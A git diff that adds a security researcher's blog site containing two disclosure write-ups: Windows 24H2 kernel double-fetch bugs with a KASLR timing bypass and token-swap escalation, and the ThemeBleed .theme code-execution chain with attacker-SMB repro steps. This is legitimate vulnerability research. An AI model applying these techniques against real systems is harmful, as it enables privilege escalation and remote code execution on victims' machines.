diff --git a/24h2-nt-exploit/image1.png b/24h2-nt-exploit/image1.png new file mode 100644 index 0000000..88b04c8 Binary files /dev/null and b/24h2-nt-exploit/image1.png differ diff --git a/24h2-nt-exploit/image2.png b/24h2-nt-exploit/image2.png new file mode 100644 index 0000000..7ba6062 Binary files /dev/null and b/24h2-nt-exploit/image2.png differ diff --git a/24h2-nt-exploit/image3.png b/24h2-nt-exploit/image3.png new file mode 100644 index 0000000..52e2a69 Binary files /dev/null and b/24h2-nt-exploit/image3.png differ diff --git a/24h2-nt-exploit/image4.png b/24h2-nt-exploit/image4.png new file mode 100644 index 0000000..c67fa06 Binary files /dev/null and b/24h2-nt-exploit/image4.png differ diff --git a/24h2-nt-exploit/image5.png b/24h2-nt-exploit/image5.png new file mode 100644 index 0000000..abc1107 Binary files /dev/null and b/24h2-nt-exploit/image5.png differ diff --git a/24h2-nt-exploit/image6.png b/24h2-nt-exploit/image6.png new file mode 100644 index 0000000..06069b1 Binary files /dev/null and b/24h2-nt-exploit/image6.png differ diff --git a/24h2-nt-exploit/image7.png b/24h2-nt-exploit/image7.png new file mode 100644 index 0000000..8d294a1 Binary files /dev/null and b/24h2-nt-exploit/image7.png differ diff --git a/24h2-nt-exploit/image8.png b/24h2-nt-exploit/image8.png new file mode 100644 index 0000000..b7c9e2a Binary files /dev/null and b/24h2-nt-exploit/image8.png differ diff --git a/24h2-nt-exploit/index.html b/24h2-nt-exploit/index.html new file mode 100644 index 0000000..fbfff27 --- /dev/null +++ b/24h2-nt-exploit/index.html @@ -0,0 +1,132 @@ + + + + + + + +Exploiting the NT Kernel in 24H2: New Bugs in Old Code & Side Channels Against KASLR + + + + + + +
+
+

Exploiting the NT Kernel in 24H2: New Bugs in Old Code & Side Channels Against KASLR

+

2024 - Apr 26 • gabe_k • + + + + Mastodon + + + + + mastodon + +

+ +

Source code: https://github.com/exploits-forsale/24h2-nt-exploit

+

Background

+

The upcoming version of Windows 11, 24H2, is currently in public preview via the Windows Insider Program. This post covers the process of discovering multiple kernel vulnerabilities introduced in 24H2 and writing an exploit, including bypassing new hardening to kernel ASLR (KASLR).

+

All the vulnerabilities described here are in the NT kernel itself (ntoskrnl.exe), in syscalls which may be called by any process, regardless of its privilege level or sandbox.

+

New Bugs in Old Code

+

While reverse engineering various parts of the NT kernel in 24H2 I discovered two vulnerabilities, both of which were double-fetches of user mode memory (credit: j00ru). These bugs were especially interesting because they appeared in long–present code that had previously been safe.

+

Changes Regarding The Volatility of User Mode Memory

+

I’d like to start this section with a disclaimer: much of the following is best-guess speculation. Without access to source code and the exact compiler used it is impossible to know with complete certainty what changed on Microsoft’s side to introduce the observed changes to the binaries.

+

In 24H2 there appears to have been broad changes made to treat user mode memory as volatile within the kernel. One piece of evidence for this is the addition of a new memory copy function named RtlCopyVolatileMemory which, as the name suggests, behaves exactly like RtlCopyMemory but explicitly for accessing volatile memory. Many instances where the kernel previously copied user mode memory into kernel mode with inlined read and store instructions have been replaced with calls to this new function. A few instances of this can be seen below:

+

Case 1: a 4-byte read from user mode memory in NtCreateTimer2

+

Case 1: a 4-byte read from user mode memory in NtCreateTimer2

+

Case 2: a 16-byte read from user mode memory in ObpCaptureBoundaryDescriptor

+

Case 2: a 16-byte read from user mode memory in ObpCaptureBoundaryDescriptor

+

This change to treating user mode memory as volatile in 24H2 can also be seen in a public pull request on Microsoft’s GitHub, in my view lending credibility to the theory that this was a wide-ranging change.

+

These changes also explain the appearance of double-fetches in areas where they may previously have been hidden by compiler optimization. A traditional double-fetch in source code, dereferencing the same location in user mode memory twice, may have been optimized into a single dereference in the resulting binary. If the memory location is treated as volatile however, every dereference in source code should correspond to a unique dereference in the binary. Below I will detail the two vulnerabilities I found that I suspect are a result of this pattern.

+

CVE-2024-26218: Double-Fetch in PspBuildCreateProcessContext Leads to Stack Buffer Overflow

+

When creating a process, various attributes about the process being created are provided to the NtCreateUserProcess syscall in a PS_ATTRIBUTE_LIST structure. The PS_ATTRIBUTE_LIST is, as the name suggests, an array of PS_ATTRIBUTE structures. The PspBuildCreateProcessContext function processes this list of attributes which reside in user mode memory.

+

PspBuildCreateProcessContext contains a large number of cases for handling each type of attribute. When handling attributes of types PsAttributeMitigationOptions and PsAttributeMitigationAuditOptions there is a double-fetch of the Size field in the PS_ATTRIBUTE. By changing the value of Size in the time between the fetches it is possible to trigger a stack buffer overflow.

+

Below I have provided pseudo-code and the corresponding disassembly from the binaries of the 23H2 version of the relevant code which does not contain a double-fetch, followed by the pseudo-code and disassembly for the vulnerable version in 24H2.

+

23H2

+

23H2

+

24H2

+

24H2

+

As shown above, the change to treating the attribute as volatile results in what was previously a single dereference being replaced with two separate dereferences.

+

CVE-2024-21345: Double-Fetch in NtQueryInformationThread Leads to Arbitrary Write

+

This bug is similar to the previous one in that it is once again double-fetching a length field in code that previously only contained a single fetch. In contrast to the previous bug this bug does not lead to a buffer overflow, but rather to the bypass of the probe of a user provided address. Bypassing a probe allows a user to specify a completely arbitrary address, including a kernel address, to be written to.

+

NtQueryInformationThread, like other NtQueryInformation* syscalls, contains a gigantic switch statement for handling different information classes that can be passed in to query information about kernel objects from user mode. This specific bug is in the handling of the ThreadTebInformation information class, which allows reading of parts of the thread’s TEB. The input for this specific case is a THREAD_TEB_INFORMATION structure residing in user mode memory. This struct contains a destination pointer for where to store the TEB data, as well as a size specifying how much data to read from the TEB.

+

The code for this bug is less straightforward than the previous one. In this bug the user supplied struct is copied entirely into kernel mode, however, when performing a call to ProbeForWrite, the struct in user mode memory is dereferenced again to pass the size. For all uses of the user input after the call to ProbeForWrite the kernel copy of the structure is used. ProbeForWrite contains a little-known quirk: if a size of zero is passed the function will return immediately without checking the passed address. This means that if a kernel address is passed to ProbeForWrite with a size of zero, no exception will be raised, thereby essentially bypassing the probe.

+

As in the previous case I have provided my pseudo-code representing how the source code may look, alongside with the assembly from the binary, for both the 23H2 binary which does not include the vulnerable as well as the vulnerable code in 24H2.

+

23H2

+

23H2

+

24H2

+

24H2

+

As the code above shows, by having BytesToRead in user mode be a non-zero value at the time of the first dereference, and then changing it to zero before the second dereference, the code will pass a size of zero to ProbeForWrite, bypassing the check of the actual address and allowing a kernel address to be specified. Later, when memmove is called, the size will be the original value of BytesToRead from the first dereference. This allows a copy of the contents of the TEB to be performed to a controlled address with a controlled size.

+

Because the TEB resides in user mode memory, the contents of it are also controllable. By writing to the TEB and then triggering this vulnerability to read from the TEB it is possible to write entirely controlled data anywhere in kernel mode memory.

+

KASLR in 24H2

+

In previous Windows versions defeating KASLR has been trivial due to a number of syscalls including kernel pointers in their output. In 24H2 however, as documented by Yarden Shafir in a blog post analyzing the change, these kernel address leaks are no longer available to unprivileged callers.

+

In the absence of the classic KASLR bypasses, in order to determine the layout of the kernel a new technique is needed. I had heard of one technique used on Linux called EntryBleed, which used a timing side-channel to determine the address of the kernel, and decided to investigate if something similar could be used on Windows.

+

EntryBleed & Intro to Prefetch

+

A very brief summary of EntryBleed is as follows: KPTI (Kernel Page Table Isolation) was a feature introduced in Linux to mitigate Spectre style attacks by separating the user and kernel page tables by removing all kernel memory from user mode page tables. One flaw in this, however, is that when a user mode application performs a syscall the memory containing the syscall handler code must be present in the page tables. This meant that a small region of kernel memory, the syscall handler, was still present in the user mode page tables.

+

Since the syscall handler’s memory is present in the user mode page tables, one could locate the memory’s address if it is possible to determine if a given address is present in the page tables or not. This is where the prefetch instruction comes in. Prefetch takes an address and attempts to load the content of it into the CPU’s cache so that future accesses will be faster. Unlike instructions that read or write to a given address, prefetch does not care if the address provided is a kernel address. It turns out that by measuring the amount of time a prefetch instruction takes to execute given a target address, it is possible to determine if the target address is in the current page tables.

+

This is, as stated above, a very short summary of EntryBleed. For a much more detailed description I highly recommend reading the original article.

+

Prefetch on Windows

+

After getting an understanding of EntryBleed on Linux, I started porting the technique to Windows. I initially assumed that I would have to contend with KVA shadowing (the Windows equivalent of KPTI) but soon realized that KVA shadowing is now disabled on modern Windows 11 machines. This means that since there is no longer any isolation between user and kernel page tables, not only is the memory for the syscall handler present in user mode page tables, but the entire kernel address space is present.

+

Additionally I discovered a paper by Daniel Gruss, Clémentine Maurice, and Anders Fogh from 2016 which described exactly the sort of prefetch attack against Windows that I was hoping to achieve. With the help of these resources I started measuring prefetch times on all of the machines I had at my disposal, and put together a (fairly) reliable tool to determine the base address of the Windows kernel.

+

The prefetch tool in action!

+

The prefetch tool in action!

+

Source code for this tool can be found on GitHub.

+

Exploitation

+

At this point we have enough to start building an actual exploit. We have bypassed KASLR and located the base address of the kernel in memory, and we have a vulnerability that allows us to write arbitrary data anywhere in the kernel. In prior versions of Windows it was possible to get the kernel address for a specific object by its handle, which could then be the target for corruption. The only kernel address we have now is the base address of the kernel, so we will need to start by corrupting global objects within the kernel.

+

Building a Kernel Read

+

Our first task will be building a read primitive. With a write primitive already firmly in hand, having a read will fully open up the kernel for us to do whatever we want. To accomplish this we will need to find global in the kernel which we can target for corruption to create a read primitive. To look for candidates for this I went to the ever helpful NtQuerySystemInformation syscall (long a source of KASLR leaks itself). The ideal situation would be to find a case where the syscall uses a global variable storing a pointer, reads the data pointed to by the global, and returns the read data to user mode.

+

I found the perfect case in the handling of the SystemManufacturingInformation information class. When handling this information class the kernel would copy a global UNICODE_STRING structure named ExpManufacturingInformation to user mode. The UNICODE_STRING structure contains a pointer and a length, so by overwriting those in the global structure it is possible to read from an arbitrary address and size and return the data to user mode.

+

Pre-Elevation Checklist

+

Now that we have come up with a kernel read primitive, let us quickly review everything in our arsenal:

+ +

With these primitives all reliably in hand, it is time to finally put it all together and elevate our privileges.

+

The Actual Exploit: Token Swapping

+

The technique I used in the final exploit was a classic process token swap (described in this post by hasherezade). I walked the list of processes running on the system by reading the PsActiveProcessHead global in the kernel. Once I found a privileged process in the list, I recorded the address of its token object. I then walked the process list again to find my exploit process, and replaced its token with the token from the privileged process. Once this was done I called CreateProcess to pop up a shiny new command prompt window running as NT AUTHORITY\SYSTEM!

+

Our exploit is complete :)

+

Our exploit is complete :)

+

Final Thoughts

+

Binaries Change in Mysterious Ways

+

As I mentioned at the start, and would like to emphasize again, without having access to the source code and compiler it’s basically impossible to know exactly what led to the two bugs described here being introduced. As a security researcher, these kinds of bugs appearing from nowhere are a nice surprise, but for the vendor I believe these can highlight the risk of applying seemingly inconsequential changes to existing code.

+

KASLR: A Long Way to Go

+

KASLR was trivial on Windows for so long that any change is going to be an improvement. Microsoft’s attitude toward KASLR also suggests that they don’t regard it as a meaningful mitigation, given that they neither service nor award bounty for KASLR bypasses. The decision to disable KVA shadowing in Windows 11 also weakens the isolation of kernel memory from user mode. While the elimination of many classic KASLR leaks will certainly create a little extra work for exploit developers I don’t believe it poses a real challenge. I’m sure in the future we’ll see more KASLR bypasses as well that don’t require any side-channel trickery ;)

+

special thanks:
+lander
+chompie
+squif
+maks
+doomy

+ +
+ + + diff --git a/404.html b/404.html new file mode 100644 index 0000000..f8414f0 --- /dev/null +++ b/404.html @@ -0,0 +1,3 @@ + +404 Not Found +

404 Not Found

diff --git a/CNAME b/CNAME new file mode 100644 index 0000000..eaaa404 --- /dev/null +++ b/CNAME @@ -0,0 +1 @@ +exploits.forsale \ No newline at end of file diff --git a/bg.jpg b/bg.jpg new file mode 100644 index 0000000..b0f79df Binary files /dev/null and b/bg.jpg differ diff --git a/cb.svg b/cb.svg new file mode 100644 index 0000000..de7e1c6 --- /dev/null +++ b/cb.svg @@ -0,0 +1,12 @@ + + + + + + + + + + + + diff --git a/index.html b/index.html new file mode 100644 index 0000000..dfcae27 --- /dev/null +++ b/index.html @@ -0,0 +1,49 @@ + + + + + + + exploits.forsale + + + + + +
+ +
+

+
+ + +
+

Exploiting the NT Kernel in 24H2: New Bugs in Old Code & Side Channels Against KASLR ›

+ 2024-04-26 +

+ + + +
+

CVE-2023-38146: Arbitrary Code Execution via Windows Themes ›

+ 2023-09-13 +

+ + +
+ +
+

Leaders in Cyber Lethality

+
+ + + + + + + diff --git a/logo.svg b/logo.svg new file mode 100644 index 0000000..2b6c59d --- /dev/null +++ b/logo.svg @@ -0,0 +1,12 @@ + + + + + + + + + + + + diff --git a/main.css b/main.css new file mode 100644 index 0000000..c84aff4 --- /dev/null +++ b/main.css @@ -0,0 +1 @@ +html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,abbr,acronym,address,big,cite,code,del,dfn,em,img,ins,kbd,q,s,samp,small,strike,strong,sub,sup,tt,var,b,u,i,center,dl,dt,dd,ol,ul,li,fieldset,form,label,legend,table,caption,tbody,tfoot,thead,tr,th,td,article,aside,canvas,details,embed,figure,figcaption,footer,header,hgroup,menu,nav,output,ruby,section,summary,time,mark,audio,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}blockquote,q{quotes:none}blockquote:before,blockquote:after,q:before,q:after{content:"";content:none}table{border-collapse:collapse;border-spacing:0}.alt{margin:0;background:#090d1d}.alt .logo{width:100%;max-width:24em;margin:24px auto;display:block}.alt h1{color:#fff;font-size:3em}.alt .links{margin:0 auto;max-width:800px;background-image:url("/bg.jpg");background-size:cover;padding:24px;display:flex;gap:24px;flex-direction:column;border:3px solid rgba(255,255,255,.3)}.alt .links>a{color:inherit;display:block;padding:1em;background:#fff;border:2px rgba(0,0,0,0) solid}.alt .links>a date{font-size:.8em;font-weight:normal}.alt .links>a:hover{color:blue;text-decoration:underline;background:#f7f7f7;border:2px blue solid}.alt hr{border:solid 3px #12dffa}nav{position:sticky;margin:0 auto;max-width:800px}nav .logo{width:12em;display:inline-block}@media (max-width: 900px){nav .logo{padding:.5em}}body{background:linear-gradient(30deg, #c8d8ea 0%, #fff 100%);color:#0b2441;font-size:18px;font-family:"Times New Roman",Times,serif;line-height:1.5;overflow-wrap:break-word;margin-top:2em;margin-bottom:2em}article{max-width:800px;width:100%;margin:0 auto}article img{max-width:100%}@media (max-width: 900px){article{padding:0 1em;box-sizing:border-box}}h1,h2,h3,h4,h5,h6{font-weight:700;margin-bottom:.5em;line-height:1.2;font-family:Verdana,Geneva,Tahoma,sans-serif}h1{font-size:2em}h2{font-size:1.6em}h3{font-size:1em}p,ul,ol{font-weight:300;line-height:1.7;font-size:1em;margin-bottom:1.2em}ul,ol{padding-inline-start:1em}ul p,ol p{padding:0 0 !important}@media (max-width: 900px){ul,ol{list-style-position:inside}}li{padding:6px 0}em{font-style:italic}strong{font-weight:bold}blockquote{font-style:italic;border-left:3px solid #131313;max-width:600px}blockquote blockquote{margin-left:1em}blockquote p{margin-left:1em}a{font-weight:bold;text-decoration:none}pre,code{font-family:monospace;background:rgba(0,0,0,.0470588235);padding:.2em .5em}pre{box-sizing:border-box;padding:1em;display:block;margin:2em 0;font-size:.8em;line-height:1.4;white-space:pre-wrap;word-break:break-all;word-wrap:break-word;position:relative;width:872px;left:-36px;border:1px #000 inset;background-color:#f9f9f9 !important}@media (max-width: 900px){pre{width:100%;left:0}}pre code{padding:0;font-size:100%;color:inherit;background-color:rgba(0,0,0,0)}small{font-size:.7em;margin:.2 0}small>p{line-height:1.5}.meta{box-sizing:border-box;border:#131313 2px dotted;padding:1em;display:inline-block}.meta>p{margin-bottom:1em}.icon{line-height:0;margin:0;padding:0}.alert{background:#fd17b5;display:block;color:#fff;position:fixed;bottom:0;box-sizing:border-box;font-family:"Arial",Times,sans-serif;padding:.5em;width:100%} \ No newline at end of file diff --git a/robots.txt b/robots.txt new file mode 100644 index 0000000..ff029cc --- /dev/null +++ b/robots.txt @@ -0,0 +1,4 @@ +User-agent: * +Disallow: +Allow: / +Sitemap: https://exploits.forsale/sitemap.xml diff --git a/rt.svg b/rt.svg new file mode 100644 index 0000000..f2594c8 --- /dev/null +++ b/rt.svg @@ -0,0 +1,12 @@ + + + + + + + + + + + + diff --git a/sitemap.xml b/sitemap.xml new file mode 100644 index 0000000..cbc9955 --- /dev/null +++ b/sitemap.xml @@ -0,0 +1,14 @@ + + + + https://exploits.forsale/ + + + https://exploits.forsale/24h2-nt-exploit/ + 2024-04-26 + + + https://exploits.forsale/themebleed/ + 2023-09-13 + + diff --git a/themebleed/index.html b/themebleed/index.html new file mode 100644 index 0000000..87c68fa --- /dev/null +++ b/themebleed/index.html @@ -0,0 +1,168 @@ + + + + + + + +CVE-2023-38146: Arbitrary Code Execution via Windows Themes + + + + + + +
+
+

CVE-2023-38146: Arbitrary Code Execution via Windows Themes

+

2023 - Sep 13 • gabe_k • + + + + Mastodon + + + + + mastodon + +

+ +

This is a fun bug I found while poking around at weird Windows file formats. It's a kind of classic Windows style vulnerability featuring broken signing, sketchy DLL loads, file races, cab files, and Mark-of-the-Web silliness. It was also my first experience submitting to the MSRC Windows bug bounty since leaving Microsoft in April of 2022.

+

In the great tradition of naming vulnerabilities, I've lovingly named this one ThemeBleed (no logo as of yet but I'm accepting submissions.)

+

Overall it was a lot of fun finding and PoC-ing this vulnerability, and MSRC was incredibly fast in responding and judging it for bounty :^]

+
+

Below is a slightly modified version of the report I sent to Microsoft. After the report is a timeline and my notes on their fix.

+
+

Summary

+

A series of issues exist on Windows 11 which can lead to arbitrary code being executed when a user loads a .theme file.

+

Bug Details

+

1. Background

+

On Windows, .theme files allow customization of the OS appearance. The .theme files themselves are ini files, which contain configuration details. Clicking on a .theme file on Windows 11 will invoke the following command:

+
"C:\WINDOWS\system32\rundll32.exe" C:\WINDOWS\system32\themecpl.dll,OpenThemeAction <theme file path>
+
+

This vulnerability specifically deals with the handling of .msstyles files. These are PE (DLL) files that contain resources such as icons to be used in a theme, but (should) contain no code. A .msstyles file can be referenced in a .theme file in the following way:

+
[VisualStyles]
+Path=%SystemRoot%\resources\Themes\Aero\Aero.msstyles
+
+

When the .theme file is opened, the .msstyles file will also be loaded.

+

2. The "Version 999" Check

+

When loading a .msstyles file, the LoadThemeLibrary in uxtheme.dll will check the version of the theme. It will do this by loading the resource named PACKTHEM_VERSION from the binary. If the version it reads is 999, it will then call into another function ReviseVersionIfNecessary. A decompiled version of this function with the relevant parts commented can be seen below:

+
__int64 __fastcall LoadThemeLibrary(const WCHAR *msstyles_path, HMODULE *out_module, int *out_version)
+{
+  HMODULE module_handle;
+  signed int result;
+  int version;
+  signed int return_val;
+  unsigned int resource_size;
+  __int16 *version_ptr;
+
+  if ( out_version )
+    *out_version = 0;
+  module_handle = LoadLibraryExW(msstyles_path, 0, 2u);
+  if ( !module_handle )
+    return (unsigned int)MakeErrorLast();
+  result = GetPtrToResource(
+             module_handle,
+             L"PACKTHEM_VERSION",
+             (const unsigned __int16 *)1,
+             (void **)&version_ptr,
+             &resource_size); // !!! [1] version number is extracted from resource "PACKTHEM_VERSION"
+  if ( result < 0 || resource_size != 2 )
+    goto LABEL_22;
+  version = *version_ptr;
+  if ( out_version )
+    *out_version = version;
+  return_val = -2147467259;
+  if ( version >= 4 )
+  {
+    if ( version > 4 )
+      result = -2147467259;
+    return_val = result;
+  }
+  if ( return_val < 0 && (_WORD)version == 999 ) // !!! [2] special case for version 999
+  {
+    resource_size = 999;
+    return_val = ReviseVersionIfNecessary(msstyles_path, 999, (int *)&resource_size); // !!! [3] call to `ReviseVersionIfNecessary`
+...
+}
+
+

3. Time-of-Check-Time-of-Use in ReviseVersionIfNecessary Allows Signature Bypass

+

The ReviseVersionIfNecessary function which is called by the previous step performs several actions. Given a path to a .msstyles file, it will perform the following:

+
    +
  1. Create a new file path by appending _vrf.dll to the .msstyles file path.
    2. +
  2. Check if this new _vrf.dll file exists. If not, exit.
    3. +
  3. Open the _vrf.dll file
    4. +
  4. Verify the signature on the _vrf.dll file. If the signature is invalid, exit.
    5. +
  5. Close the _vrf.dll file
    6. +
  6. Load the _vrf.dll file as a DLL and call the VerifyThemeVersion function.
    7. +
+

The goal of this appears to be to attempt to safely load a signed DLL and call a function. This implementation is flawed however, because the DLL is closed after verifying the signature in step 5, and then re-opened when the DLL is loaded via a call to LoadLibrary in step 6. This provides a race window between those two steps where an attacker may replace the _vrf.dll file that has had its signature verified, with a malicious one that is not signed. That malicious DLL will then be loaded and executed.

+

4. Mark-of-the-Web Bypass

+

If a user downloads a .theme file, upon launching it they will receive a security warning due to the presence of Mark-of-the-Web on the file. It turns out this can be bypassed by packaging the .theme file in a .themepack file.

+

A .themepack file is a cab file containing a .theme file. When a .themepack file is opened, the contained .theme file will be loaded. When opening a .themepack file with Mark-of-the-Web, no warning is displayed, so the warning that would normally be seen is bypassed.

+

Proof of Concept

+

I developed a PoC for this issue. The PoC consists of two components, an SMB server executable to be run on an attacker's machine, and a .theme file to be opened on the target's machine.

+

I chose to use an attacker controlled SMB server for this because a .theme file may point to a .msstyle path on a remote SMB share. Since the SMB share is attacker controlled, it can easily exploit the TOCTOU bug in ReviseVersionIfNecessary by returning a validly signed file when the client first requests it to check the signature, and then a malicious one when the client loads the DLL.

+

The PoC can be found here: https://github.com/gabe-k/themebleed

+

Environment Prep

+

To run the PoC you will need two machines, one attacker machine which will run the SMB server, and one target machine where you will load the .theme file. Below are the requirements for the respective machines:

+

Attacker machine

+ +

Target machine

+ +

Repro Steps

+
    +
  1. Create the .theme file by running: themebleed.exe make_theme <attacker machine ip> exploit.theme
    2. +
  2. On the attacker machine run: themebleed.exe server
    3. +
  3. On the target machine open exploit.theme
    4. +
+

This should result in the calculator opening on the target machine. This shows that arbitrary code has been executed.

+

Credits

+

The PoC makes use of the SMBLibrary by Tal Aloni

+

Conclusion

+

This is a reliable vulnerability that goes from loading a theme to downloading and executing code without memory corruption. Additionally this vulnerability appears to be new and only present in Windows 11. I would request that this submission be considered for bounty.

+

To fix this vulnerability I would recommend:

+ +
+

End of original report

+
+

Reporting Timeline

+ +

Microsoft Fix Analysis

+

Microsoft's released fix for the issue removed the "version 999" functionality entirely. While that migitates this specific exploit, it still does not address the TOCTOU issue in the signing of .msstyles files.

+

Additionally Microsoft has not added Mark-of-the-Web warnings on .themepack files.

+ +

extra thnx

+

lander brandt - wellness director
+squiffy - transportation coordinator
+doomy - cultural attache
+ian - covid response
+james willy - support (emotional/financial/millitary)

+ +
+ + +